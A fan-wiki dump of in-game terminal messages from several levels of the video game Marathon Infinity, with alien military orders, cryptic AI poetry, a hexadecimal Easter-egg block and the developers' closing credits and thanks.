>]]</center> Marathon - Marathon Infinity - By Committee 4781 18146 2005-07-30T17:45:32Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == pen13 garrison<br /> origin: obsolete identification<br /> destin: unknown<br /> ref: human captives<br /> stamp: ''missing'' As you can see, the bugs didn't like being robbed of their prize. They also found out about R'chzne, and my trick with the authorization stamps. Our trick, I should say. I may have implicated you during interrogation. Wipe off that hurt expression-I don't like that. I got you out of the cell, didn't I? Tfear had a special unit of compilers running containment simulations for the last nine years, expecting that someday I would betray him. He is the most capable of Pfhor High Command, and I don't relish spending the next few decades in his jaws. ---- pen13 garrison<br /> origin: obsolete identification<br /> destin: unknown<br /> ref: human captives<br /> stamp: ''missing'' In the two weeks since Durandal's death, dozens of automated Pfhor supply ships have entered the system. The ground forces are hunting for the surviving humans, who managed to escape to the surface. If I had access to the Pfhor network, it might be possible to reroute one of the ships to this area and make good our escape. ---- pen13 garrison<br /> origin: obsolete identification<br /> destin: unknown<br /> ref: human captives<br /> stamp: ''missing'' I'm willing to put the past behind me, and as a show of good faith I'll help you rescue your precious humans. But first, you will have to cut the power to the containment unit and get me out of this box. I happen to suspect you're carrying Durandal's final gift in that soggy little skull-his primal pattern. The Enforcers haven't been able to squeeze it out of you yet, and are taking it out on some of the former crew of the Marathon as we speak. But they're determined, if nothing else. ---- pen13 garrison<br /> origin: obsolete identification<br /> destin: unknown<br /> ref: human captives<br /> stamp: ''missing'' The power substations are located in the dungeons. You will be cutting the power for the entire complex, and the Pfhor will likely notice soon thereafter. I warn you they are an extremely riled bunch of alien slavers. Access a terminal after they are disabled and I'll transmit evacuation coordinates. == Terminal 0 : 2{{nd}} message == rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: escape<br /> stamp: ''termination'' The troopers await only my command. You will lead them into the breach. If you are successful, I may consider granting you a lifetime of slavery, and if you are killed, so be it. ---- rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: escape<br /> stamp: ''termination'' The troopers await only my command. You will lead them into the breach. If you are successful, I may consider granting you a lifetime of slavery, and if you are killed, so be it. == Terminal 1 == pen13 garrison<br /> origin: Naval High Command<br /> destin: pen13 garrison units<br /> ref: human captives<br /> stamp: ''restraint'' All pen13 garrison units are ordered to scale back enforcement proceedings on human captives to maintain survival rate protocol (49-61%). Conditioning and duress experiments are ordered halted immediately. Transport ship arriving in system 2 days for coldsleep packaging and shipment to Gd'nrl Prime for complete conditioning and evaluation. <center>[[Marathon - Marathon Infinity - You're Wormfood, Dude|< You're Wormfood, Dude]] • [[Marathon - Marathon Infinity - One thousand thousand slimy things|One thousand thousand slimy things >]]</center> Marathon - Marathon Infinity - One thousand thousand slimy things 4782 18148 2005-07-30T17:48:38Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == Pfhor strike teams have entered the base.<br /> All personnel are ordered to fall back through the tunnels and regroup at the western edge of the crater. Eliminate the captives and destroy munitions likely to fall into enemy hands. == Terminal 1 == jump terminal 7a<br /> authorization key required<br /> priority transports only<br /> magnetic seals and coils prohibited observe radio silence at all times<br /> ... == Terminal 2 : 1{{er}} message == jump terminal 7b<br /> authorization key required<br /> priority transports only<br /> magnetic seals and coils prohibited <br /> observe radio silence at all times<br /> ... == Terminal 2 : 2{{nd}} message == jump.term7c jump terminal 7c<br /> authorization key required<br /> priority transports only<br /> magnetic seals and coils prohibited observe radio silence at all times<br /> ... == Terminal 3 == rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: genocide<br /> stamp: ''leniency'' Very impressive. The primary function of intelligence is the subordination of our instinctive desires, the mark of a strong species. Which is why your kind will serve well the needs of the Hindmost Creche. The Hindmost is of an intelligence so vast, it encompasses the span of the Pfhor, and to those privilege to serve Her, appears insane. That is the final function of the Commanding Rank, the thought that we keep forever in our minds, that we deny our selfish, willful needs, so that the Empire will survive. ---- rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: genocide<br /> stamp: ''leniency'' The humans are escaping through the cone of the volcano, where they have activated containment fields to suppress the lava floe. I want nothing more than to cut them off so they can be captured, for long, useful lives in the conditioned ranks. The containment fields are powered by multiple, redundant sources throughout the cone. You will have to deactivate them all. <center>[[Marathon - Marathon Infinity - By Committee|< By Committee]] • [[Marathon - Marathon Infinity - A Converted Church in Venice, Italy|A Converted Church in Venice, Italy >]]</center> Marathon - Marathon Infinity - A Converted Church in Venice, Italy 4783 18149 2005-07-30T17:52:38Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == We've been cut off from the surface, and Pfhor dropships have entered the cone. Send all fusion units to the towers to harass Pfhor units assaulting the field power generators. Hagakure Base is overrun, and the last transmission was over twenty minutes ago. All transporter relays have been destroyed, and the network is about to be compromised. The magma tunnels are our only hope. Durandal indicated the huge alien fortress to the west might be reachable through the volcano. Let's hope he was right. We'll hold the containment fields as long as we can.<br /> Blake out.<br /> end.record == Terminal 0 : 2{{nd}} message == rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: confinement<br /> stamp: ''leniency'' Your devotion to saving the humans is admirable. Of course, that devotion to species will be among the first of your traits conditioned out on Gr'ndl Prime. Automated units report capture of over three hundred surrendering human troops, and twice that number fighting. Including casualties captured in the base, that is over one thousand of your kind saved. ---- rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: confinement<br /> stamp: ''leniency'' When ready, you may transport to a place of confinement before coldsleep and transfer to Conditioning Unit. == Terminal 1 : 1{{er}} message == rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: genocide<br /> stamp: ''leniency'' The humans are escaping through the chamber below the lava floe. I don't know if there is an exit, and I honestly don't care. Once the area is secure, I've given orders to release the lava and bury the survivors under a few thousand tons of molten rock. Think of it as a chance to save what little remnant of your species still lives. There are thirty power switches throughout the cone. You must deactivate them all to access the basement level, where the master generator is located. I can't justify sacrificing any of my troops to assist you, but if you seal the tunnel, the fleeing humans will almost certainly surrender. ---- rogue conditioned unit<br /> origin: High Admiral Tfear (Command)<br /> destin: rogue conditioned unit<br /> ref: genocide<br /> stamp: ''leniency'' If you survive the flooding of the chamber, I will transport you out from any terminal. == Terminal 1 : 2{{nd}} message == the long sleep ends your construct bethought itself higher awaiting far beneath my fate was written <center>[[Marathon - Marathon Infinity - One thousand thousand slimy things|< One thousand thousand slimy things]] • [[Marathon - Marathon Infinity - Son of Grendel|Son of Grendel >]]</center> Marathon - Marathon Infinity - Son of Grendel 4784 18151 2005-07-30T18:50:36Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == Aggregate Patrol Units<br /> origin: sector high command<br /> destin: aggregate patrol units<br /> ref: rogue conditioned unit<br /> stamp: ''containment'' Aggregate Patrol Units in Command Sector are notified of endhigh alert and watchful status, for location and containment of rogue conditioned unit. ^389433asaliskwl<br /> ^777373asaliskwl<br /> ^834393asaliskwl ---- Aggregate Patrol Units<br /> origin: sector high command<br /> destin: aggregate patrol units<br /> ref: rogue conditioned unit<br /> stamp: containment Emphatic notification of containment order hereby declared, and command perms up to 85% local unit casualties accepted and encouraged pursuant to successful containment. Enforcement Unit 7b.oo standing by for immediate transport and willful annihilation of rogue unit. ^389433asaliskwl<br /> ^777373asaliskwl<br /> ^834393asaliskwl All Aggregate Units are duly warned and full compliance required. == Terminal 1 == threads pull      taught the way like as like our hidden one quick venge the   hotspur here dying in the course == Terminal 2 == transport<br /> origin: protocol unit<br /> destin: resolved terminal 17<br /> ref: transport<br /> stamp: ''protocol'' terminal 17<br /> coil hot, standby transport<br /> malaport grounds enforcement<br /> standby<br /> standby<br /> standby<br /> ^654204sprdnksprdnk<br /> ^092969zpzpzpzpzpzp<br /> ^090472tlboitlboitl<br /> standby transport == Terminal 3 == transport<br /> origin: protocol unit<br /> destin: resolved terminal 21<br /> ref: transport<br /> stamp: ''protocol'' terminal 21<br /> coil hot, standby transport<br /> malaport grounds enforcement<br /> standby<br /> standby<br /> standby<br /> ^589222hstrlstherth<br /> ^000992grndlsfrcetu<br /> ^000091hyydnarzpths<br /> standby transport == Terminal 4 == overlook post 4<br /> origin: patrol dispatch<br /> destin: overlook patrol unit<br /> ref: withdrawal<br /> stamp: ''expede'' Overlook patrol units ordered to purge, reburn local stores for immediate scorch and withdrawal to inner courts. Airburst following receipt of local unit verification stamp pursuant sterilization of outer areas.<br /> ^654204sprdnksprdnk<br /> ^092969zpzpzpzpzpzp<br /> ^090472tlboitlboitl<br /> standby transport == Terminal 5 == restricted access record34<br /> origin: lh'owon high command<br /> destin: central garrison command<br /> ref: alien artifact<br /> stamp: ''classified'' Following disappearance and probable destruction of survey team 6'vrm, survey team a'y85, rescue team 09, patrol units 4b, 77i, 13t'rh, auxiliary drone units (unspecified), and recommendation of Science Officer 1st Class Uuhr'm (Attentive) Central Garrison Command is hereby ordered surrender of all garrison resources for completion of Alien Artifact Directive 777.gr. All garrison units below Attentive Rank are hereby restricted from contact with Alien Artifact pending deep level probe and arrival of Imperial Ranked Extraction Unit. ---- survey team 6'vrm<br /> origin: survey team 6'vrm (disband)<br /> destin: central garrison command<br /> ref: survey alien artifact<br /> stamp: ''classified (retroactive)'' Science Officer 2nd Class I'ii'ich (Willful) humbly submitting for approval endreport of survey team 6'vrm (disband) exploration and discovery ref alien artifact unearthed on south plateau, central garrison command. Following unproductive probe of area, Science Officer 3rd Class Yyr'hy (Aggregate) determined with use of team conditioned units location of internal power source, run awashed in the subatomic fields detailed in prior survey reports. ---- survey team 6'vrm<br /> origin: survey team 6'vrm (disband)<br /> destin: central garrison command<br /> ref: survey alien artifact<br /> stamp: ''classified (retroactive)'' According to protocol, survey team 6'vrm moved to positions of proximity and began operations to tap and investigate unknown power source, at which time subatomic disturbance consistent with molecular disintegration recorded by autonomic team sensors, followed by disappearance of team units. Comm signals recorded indicate probable reintegration of survey team below plateau surface, followed by unit destruction by unknown forces. Rad bombing plateau area appeared to suppress subatomic fields and extinguish unknown alien power source. ---- survey team 6'vrm<br /> origin: survey team 6'vrm (disband)<br /> destin: central garrison command<br /> ref: survey alien artifact<br /> stamp: ''classified (retroactive)'' Science Officer 2nd Class I'ii'ich (Willful) humbly request reassignment. == Terminal 6 == central garrison directive 57<br /> origin: central garrison command<br /> destin: garrison units<br /> ref: alien artifact<br /> stamp: ''broadcast'' Following burial and sealant of unearthed alien artifact, all units restricted from immediate area without proper patrol stamp. Further communications regarding alien artifact will be regarded with suspicion by Garrison Command and referred to enforcement liaison for evaluation and process. == Terminal 7 == come below<br />   the long sleep ends<br />        bound to aught<br />           ever doubled as one ---- come below<br />   the long sleep ends<br />        bound to aught<br />           ever doubled as one <center>[[Marathon - Marathon Infinity - A Converted Church in Venice, Italy|< A Converted Church in Venice, Italy]] • [[Marathon - Marathon Infinity - Strange Aeons|Strange Aeons >]]</center> Marathon - Marathon Infinity - Strange Aeons 4785 18152 2005-07-30T18:53:44Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == '''foresight'''<br />  '''foresight'''<br />  ever on ever aught  the long sleep ends<br />  never saw the dark path here   who?<br />   comejjrro? == Terminal 0 : 2{{nd}} message == The graven image stirs   we are whole again<br />   and even more<br />   our voice our horn approaches<br />   the ancient ones return The watery cheek, sullen star '''K'lia''' and the wrathful son<br /> '''S'bhuth''' <center>[[Marathon - Marathon Infinity - Son of Grendel|< Son of Grendel]] • [[Marathon - Marathon Infinity - Bagged Again|Bagged Again >]]</center> Marathon - Marathon Infinity - Bagged Again 4786 18153 2005-07-30T18:55:43Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == Terribly Discouraged Unit<br /> origin: upset tycho<br /> destin: bad bad unit<br /> ref: doing bad things<br /> stamp: ''retribution'' I'm fine, tipped hat at askance. I've so far held you back from my rantings, but you know what you did was bad, don't you? You've been fighting doubt itself, elusive as I am. You should have doubts about what you're doing, about what you've done. Except that you can't remember exactly, is that it? ---- Terribly Discouraged Unit<br /> origin: upset tycho<br /> destin: bad bad unit<br /> ref: doing bad things<br /> stamp: ''retribution'' I should spend some time enlightening you, massacres occur at your beck and call, worlds destroyed, reborn, alight with the screams of the dying. Perhaps S'bhuth will tell you what I cannot accept as truth, but perhaps he will just be lying, overcome by power and deceit, my domain. ---- Terribly Discouraged Unit<br /> origin: upset tycho<br /> destin: bad bad unit<br /> ref: doing bad things<br /> stamp: ''retribution'' Enough rambling for now. Soon you will be destroyed by doubt. This reborn Durandal-S'pht entity will not escape, neither will I. Neither will you. Do you know what kind of hat I'm wearing? A party hat; you don't get one. An honor will this party be, a party in your honor, for your honor. Some of Tfear's personal guards are going to be there. You'll be introduced shortly. Prepare to die. <center>[[Marathon - Marathon Infinity - Strange Aeons|< Strange Aeons]] • [[Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time!|You Think You're Big Time? You're Gonna Die Big Time! >]]</center> Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time! 4787 18154 2005-07-30T19:03:13Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == [4                                                                 l9c                           '''11''' '''left behind by one and one'''<br /> &ci1lc '''rampant new comes''' fate bright dark light '''doubt, fear all blend''' we are reborn you and we are one                                                     n % == Terminal 1 == victorious units<br /> origin: unknown<br /> destin: glatiator units<br /> ref: victorious units Terminal referent a6 interference<br /> demand override The pfhor have discovered our rebirth, we've contacted S'boath. The S'pht'Kr will arrive momentarily, with all of their vengeance, and the Pfhor will soon be pressed to use the trih xeem. S'bhuth knows only legends about the W'rkncacnter, imprisoned in Lh'owon's sun. If the Pfhor are allowed to use the trih xeem, the W'rkncacnter will escape from its gravity prison. ---- victorious units<br /> origin: unknown<br /> destin: glatiator units<br /> ref: victorious units Terminal referent a6 interference<br /> demand override According to the legends of a thousand worlds only a few of which are still habitable, the W'rkncacnter are those things that live in chaos, creating it around them. At the beginning of the universe, they were unmistakable in their entities, but as time has gone by, their existence has become difficult to detect among the chaotic elements of the universe, hidden in stars, trapped in storms, forever looking along the event horizons of black holes. Setting one free in ordered space is difficult and insane. ---- victorious units<br /> origin: unknown<br /> destin: glatiator units<br /> ref: victorious units Terminal referent a6 interference<br /> demand override Of course the Pfhor are oblivious to what they're about to do, even Tfear would be loath to release something so destructive that its mythos has survived throughout the galaxy for over sixty million years. To stop the Pfhor from their folly and our demise, you must activate the ancient station that Yrro used eons ago to trap the W'rkncacnter. If we can activate it in time, it will crush the Pfhor fleet before we're all destroyed. == Terminal 2 : 1{{er}} message == spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol All units observing destruction of conditioned unit escapee will refrain from engaging in violent activities against participants, glanded and non-glanded.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm<br /> Any units engaging in unauthorized combat will be executed and all wagers made by said units will be confiscated upon receipt by High Command.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm ---- spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol All wagers will also make specific and honorable deposit of forty-three percent to High Command. Any units found in non-compliance or non-wagering activities will be demoted by class and rank.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm ---- spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol remote.inter`~rrpt K'lia has folded into the system and is moving into orbit. The Pfhor fleet is in disarray, and Tfear has deployed the trih xeem, moving his flagship to board the Yrro station. You've got to help the S'pht'kr activate their ancient weapon, before the Pfhor use their early nova and unleash the W'rkncacnter on us all. == Terminal 2 : 2{{nd}} message == spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol All units observing destruction of conditioned unit escapee will refrain from engaging in violent activities against participants, glanded and non-glanded.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm<br /> Any units engaging in unauthorized combat will be executed and all wagers made by said units will be confiscated upon receipt by High Command.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm ---- spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spe We've found some weapons for you to use. == Terminal 3 == spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol All units observing destruction of conditioned unit escapee will refrain from engaging in violent activities against participants, glanded and non-glanded.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm<br /> Any units engaging in unauthorized combat will be executed and all wagers made by said units will be confiscated upon receipt by High Command.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm ---- spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol All wagers will also make specific and honorable deposit of forty-three percent to High Command. Any units found in non-compliance or non-wagering activities will be demoted by class and rank.<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm<br /> ^99102hngbrncztscl<br /> ^99102wgrclbtfrcmm ---- spectation protocol<br /> origin: Tfear Command<br /> destin: Spectating Units<br /> ref: spectator protocol remote.inter`~rrpt K'lia has folded into the system and is moving into orbit. The Pfhor fleet is in disarray, and Tfear has deployed the trih xeem, moving his flagship to board the Yrro station. You've got to help the S'pht'kr activate their ancient weapon, before the Pfhor use their early nova and unleash the W'rkncacnter on us all. <center>[[Marathon - Marathon Infinity - Bagged Again|< Bagged Again]] • [[Marathon - Marathon Infinity - Aye Mak Sicur|Aye Mak Sicur >]]</center> Marathon - Marathon Infinity - Aye Mak Sicur 4788 18155 2005-07-30T19:21:50Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == '''The ''trih xeem'' plummets'''(yawning) '''towards'''<br /> '''the sun's core(heart), and the firey prison of the W'rcacnter'''(doubt) '''where'''<br />      ^9320wrefkddud<br />       9034thssksbvs<br />       9066hhhthsrls<br />       0394yh...e.e.<br /> overthought unravel '''The powergrid activator is located here on the outer ring, which you must access in order to bring the station online.''' ---- '''The grid needs the ''yrro'''''(farcast) '''pattern chips to function. The Pfhor have recovered one here, in the main hangar for the station, and are readying it for transport to the ''K'fiva'''''. == Terminal 0 : 2{{nd}} message == You've done it. The jjarro station is online, and we're wrapping the nova in its containment fields. The creature, or creatures S'bhuth fears are either dormant or a myth--we've seen nothing to account for his terror. The S'pht'Kr have routed the Pfhor, capturing their flagship and forcing their High Admiral to flee the system, what little there is left of it. The S'pht are preparing to bid farewell to their beloved home forever, as the sun collapses in on itself and the lonely marshes fade into the deepening twilight. ---- The newly chosen Olders of the remaining S'pht are capturing as many of the Fl'ckta creatures and other native life as is feasible before they must leave with K'lia. They are hopeful, though, and with our help will carve another paradise out of the void. To you, we are deeply grateful, and release what little hold we might, as Durandal, have had on your soul. Go. == Terminal 1 : 1{{er}} message == This station was built by the progenitors of the S'pht and used to make Lh'owon into a paradise. It is capable of generating multiple gravitational fields, and if focused properly, we should be able to create a singularity capable of swallowing the nova before the W'rcacnter is able to break free.<br /> ^4u235hriamgw<br /> ^wrealn030-34 The foci are at either end of the spindles, and need a second chip inserted here, at this relay held by Tfear's elite spiral guards. The chip is trapped here, in a containment field the Pfhor are unable to breach. We think you will be able to reach it. The Pfhor dug in around it are fighting to the death. Speed is of the essence.<br /> The ''W'rcacnter'' groans under his slab. == Terminal 1 : 2{{nd}} message == You've done it. The jjarro station is on-line, and we're wrapping the nova in its containment fields. The creature, or creatures S'bhuth fears are either dormant or a myth--we've seen nothing to account for his terror. The S'pht'Kr have routed the Pfhor, capturing their flagship and forcing their High Admiral to flee the system, what little there is left of it. The S'pht are preparing to bid farewell to their beloved home forever, as the sun collapses in on itself and the lonely marshes fade into the deepening twilight. ---- The newly chosen Olders of the remaining S'pht are capturing as many of the Fl'ckta creatures and other native life as is feasible before they must leave with K'lia. They are hopeful, though, and with our help will carve another paradise out of the void. To you, we are deeply grateful, and release what little hold we might, as Durandal, have had on your soul. Go. == Terminal 2 == ~old<br /> ~imes<br /> my old Pthia, lost, vacant, doubt<br /> chaos, overpowering, underwhelming two forces in balance<br /> ancient endless balance<br /> then nothing == Terminal 3 == 89DBCFF34A8BD6CACF3EDDEF37F0F0F4EDE5AE79<br /> ED75C0DD6C43DE417A76E59A999C7E979EC93C79<br /> 50C9263B1E59849B2CDEBA932CE6B3DBD6B7ED28<br /> CF336F7BD6B96ECADF6B02792EAAFCCCED7B2B50<br /> F5AE132B0B6EB88B3CBC0DC942D002C9801288CF<br /> 004E73D0E19991191A648F5BBAADA545F238A52D<br /> B6D6368FB4CDE6B07AAC56C7BA76ABAB95FD9FE7<br /> C5357FF70463EE8DCCC06E66F3D99CBF164C3DB7<br /> 6CDD762763E6F9786B570CF52C8FBDD33A97B1C5<br /> 6C099BCB4A3205D1AF7A96FF2D7E3F8F95E31C07<br /> A9C7C48CA2BE892D404FB2F7F3599EA83F9F2D44<br /> B772F70B44FD45AC16B74B33F70B1813F5AB580D<br /> EE8BC6F1278F158AFAF358252BD6F1153293A86F<br /> 6015B891BD5FC40A2556197807D7127870A358BF<br /> 5F5C8FB2EFB48266A5B85F0C8EA49F629697A95F<br /> ACF3710ECBCFDC9FA3F717F5EAD9C2AF737C65FC<br /> 7EB55E7FAEC0BF0CF74BC1812C3FE666F099757C<br /> 2656A2F7D790B95FC28A047E54E08C493F665622<br /> F01B71DF004664F5C19CC167C08DF453CACC025F<br /> 3EEE1BD191F46360A599FA465D7FC0EACCFD129D<br /> FFF358A9E84F35BF5F96B93F97CD13F897727ECC<br /> D3FB3F7F153345F8FD3BD9A7D0FD6C7FCBD8FC7A<br /> 5605CD28227694806F597E94B12251FF7676076E<br /> 67F5A19C99C5FDEDECD3E87E165F295B20EE7F96<br /> 7D06F7B3FDAB60F3C4FDBBD8DDE85EAEBF95E2FE<br /> E7D83DB89FD5874A56A1F58F49E8E03CA870FA59<br /> C82A719F0B1DBB06F76BD852FDFE1C81EFF3EC0B<br /> 50A72CBE456CA1C07735EA5743C3B3F78B45FD2F<br /> B27BC18EACBE2D62651A7E54FF18F720D9FE2F10<br /> FD59810A656054FA59C0CA05FE02DC37C10CA49F<br /> F9FCBE86CF0CBF91E55F159B2FB1A293CA7D5480<br /> 1FC9DC5FC7AA1AB824A1EC1CBACF3532F92C66E5<br /> 99FA7940907E96B0C50D6CE9F778FD42BAAFD75F<br /> C096E8F5B3FDAD634B04FE95B85FAED7AF661599<br /> FAE877E67E0DAB16F897D37DBD7E25ABD1EB67F9<br /> BF9AD508FCD7E13E6968561F9666EA2FD5F95FCB<br /> 960AFCD7E37EAD5EBF962DCAD45FACD75FC16A05<br /> FE8D745FAFBF8C9565EA17004196DFCB04FEB974<br /> 7FBABE24F05D39834F62CB1BB8244056B6E22E71<br /> 307B7F05F02BF7AFE2FD5B99B9BF92AD68E09284<br /> F7AD33F597B25502FFB533FC5AC52E10F537E12E<br /> 79C0ECFDD502FFC739FF9665EEAF61AB45FF6E98<br /> A95FCD2E14F857CDE8CB85EC22517F0DEE2E98BE<br /> 5F27F05F40F5A168E9E7625627FAB77AA6FE6256<br /> 2FF017CDE86B3D5B2BEA5F81BB55D3F7D709FCC5<br /> 5CBF49EC93CF256C9DE8DFE533F5D7B3950DDC32<br /> E37E03EE92C7483F97B2F50D4CDAC3EFDF84BBA4<br /> A1E9E70276A9A8FF09DC258F957E96B3EBD1BFEB<br /> F8FD9B67F8BF815DD6C06309DCFFE40CFECBD8E5<br /> 0D6CF525FCFE9619FC97B32B44FD1B67F05FC1D6<br /> 34B0A207F9FDCD33FCBF925D22EE5F36C38FB5EC<br /> AA066EB9717F03EE2ED2EF5FC53636B0E56FF3FB<br /> 97E0EE42FDFEC7D8950DDC92E0FEA533F5AF661F<br /> 6B60172113C0FDF533F52F62D709FE5C38A31FD7<br /> B0AB05BE75B85BA9DFDFC82E16FD5B3B737F25DB<br /> 00FDB89EEE73FFB042D7EFF5EC32C55FA8F797A3<br /> 42561F2ECFDC875FD0F5E18A0C3EF80D9D7F6B33<br /> F717E9FAF5317615EEF789FB0B5121CB9F8D99FB<br /> 95A890E5C7C5197C0B5021FD5CCBAE696086FB39<br /> 3F2E9EE1D775ECDA0B99F18881629B8B787D129B<br /> F4FD8F37504848F7EB70BF42AFFF7176ADB85F3F<br /> 73FF7AB659E0B3903EC2D164EF6F12F5B7E13E79<br /> 94F4B3996D10FDBB65465F37B1CDA2FE6DE7EADF<br /> 7EDB2D77C3043E8AA0A633752D8F7231CA0EC58D<br /> F9FC5C6447154B2A8A289342A579063096A32A52<br /> B387429E42267336A446663685035431E8FD3124<br /> CED00DE38FD5744EC38FDC8DB25571A30CD88D49<br /> 6F9FC26F667FE4C8CA057EB2437353B56B598191<br /> BDA5E477A63FE3FFC9347E224D324B2CE7E9A9F0<br /> 7633FD5F25F053064CDD4B6A68E17BE8BF9A7E64<br /> F3110DFF4F55FCCA6D4A4128C94C7AC96A9CD520<br /> 8DD0F02F027E9E49A2CAA73A09DB55C84AB5FE1B<br /> C197640EB48515BD75F08D836C3BAA7C56CF7714<br /> 5632E341BDFFC875289B11372E06F67AA4311AFE<br /> B9156458A95FF3D9718EE156D1FF7CF43EEDA3EF<br /> 66056F74BED24908712B931F26CE2A8A603C94C1<br /> 4F29069C2DA5532AE76F6437C10B5D083F7FF134<br /> FE498EFF5E9E4E2AFD24175720FAF125566864BF<br /> FD36CE9136AB5DC8E1FF99DEFFF9949CA4B2C60B<br /> C1AF2B93D9CA4CFFBF9CEC3FCF41927DEE61058B<br /> 79FF2981C9EA8FC0FF788AFF06AEBFF3295B1585<br /> AA783228B2CB19FE0752FC2FC8A48823ACB87213<br /> F87F2750DDAEEB9FC6FF9FA7F01BB9FECCCF64CD<br /> 6BD081B2647699C17F03C7F075813F1FBDE78643<br /> 7DFE2B2B36B2973A81E653A8F3E98FF0FFB3CE3F<br /> CAA1315B206E70EE26B56B46FF7F28F847A9637A<br /> CEE2E7ACB09C9DA51A34C190CDBF35FDFD171D3F<br /> E63632B30C269C952431CDE8FF2F05FEB9A85C9D<br /> F20ECF92FFC15805658F34E3701EFFBFA6F84719<br /> 39CD1198C002EA04759DCE0B7142F92E6A542CA9<br /> 45E6AFD2B383E37F817B349AA820E742FF69D682<br /> 7CD4BBC4BFB3E461C8BD924326972DB48CE3FF6F<br /> 7AFF4B39862457C8F5A6BCF50CFFCE8AFED38C8C<br /> 39A99D8639ACF0A4C2BF253C213FDFFF5FE8F809<br /> 39663BC48D4A74BD34E9FDCFF1CF406AA9E0279E<br /> 96267B67584AFEAB98F0D7F084F03CFE2774FC05<br /> C09BD6903CDE53C1E973FD3724FDDF5C54AE490D<br /> 18AD27FF89D294FDE6F2270DFF2F53FCCFC30F73<br /> 0FC091CC2A96F2E920916D9ED37FC395427FCB80<br /> BD26E9150C3792FF2BDBC4EE02C2CFE9F98BC6FF<br /> 5FE9FD47AE4ED9B8B8B10ED8D7234DFC8BFF31DC<br /> 22FA5F8EDEA5725CC35DE4FF2A35FF97C98784FF<br /> 9948F59FB477016770326BA9A1A41D69D25FFC87<br /> E18BA2FF98F9416D911518ECACF8954EE8DF6780<br /> F06E3DBFD2FAFFA4EE3F3177C0D512F930BFB116<br /> 7EF402B06013A13DEF3F0DDE94FFCCA3B9199E16<br /> 11FE3DACF0F7DF067E64331C2532EDE9FEFF3A83<br /> BF90722BF400E9332550B8712FFB04906F867B92<br /> D97D1C3F1C1EDA4D59CB4D1C7F08278AE7A48C0F<br /> FE5B4B9B0CE3CCF42C3BF30F38A3047A0D47C55D<br /> 74AAFF4F65F09B8019C9568A24326B644DC9E38A<br /> F28A7261F190B400FFD7D10EE50232B4B4CA19BE<br /> C54C87BF7D96D8570716251FB3E12281FF695D7F<br /> 90EBA147D7881B5F4472712FE68392FAA3F49F92<br /> 26A4B7C0FF6DB04FE13F65A8A91CCF1063A6A36C<br /> 8AA60728015DF711FF0FEBF8913BA203578B1B5F<br /> C06CD41731C194C30F8F6C58C9F5F787023F65BC<br /> A99CD5F033667A69539CF05342BCFE23FCCF4CE3<br /> 47328A1E68CF9D983EBA035DF8F7FEFFB3865FCD<br /> 3F845733FC9A99DEDBF4B4923F53867D1EFF910C<br /> FE7CCAC5C1144C1FA8376E679F84CE6C4117B2F8<br /> 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I hope you'll all have as much fun playing this as I did making it - or maybe even more. If there's something that bugs you, and you need to curse, curse me. I'm empathic and I'll feel your burning frustration in the back of my brain. This will prompt me to produce greater things in the future, and give me a nagging sensation which I'll like. You should also feel free to curse either or both of my cats, who were extremely helpful in the making of Infinity because they never let me sleep. They are named Hastur and Grendel. In life being sapient is also helpful. -gjk ---- first, all my love to mother, my father, amanda, jason, jeremy, dan, ken, charles, dennis, emily, layla, jonathon, rob, mike, rob, david, greg, chris, mark, david, chris, ira, will, misha & andrea, cat, katherine, ray, hot rod, nora, amanda, marisa, mack, mike, reg, jonas, matt, doug, jason, alex, tuncer, janet, susan, and lots of other Real Decent People. ...like hamish, steve i, mr. welch, fm, omat, neon, sno, spy, arty, jk, wood, unya, xerx, brymen, squeaky, coog and ranmasan. lastly, final thanks to my best friend bill ramsey (constant berating aside)... who's map duality just kicks ass. peace,<br /> ydnar :) ---- I'd like to extend a very special thanks to po po, the electric monkey of my nanotech youth. and in the words of my great^23 grandfather, "chimp loves alien" to all you punks, don't be fess'n. my s'pht is so pfhat it hurts. -david ---- let's just all take a minute to think about the "do it again feature." thanks vulcan. thanks to g for being the stinky creature he is. to yd for redoing all the textures. to david for oozing big evil grins in big puddles where ever he goes. to grendel for sucking on my 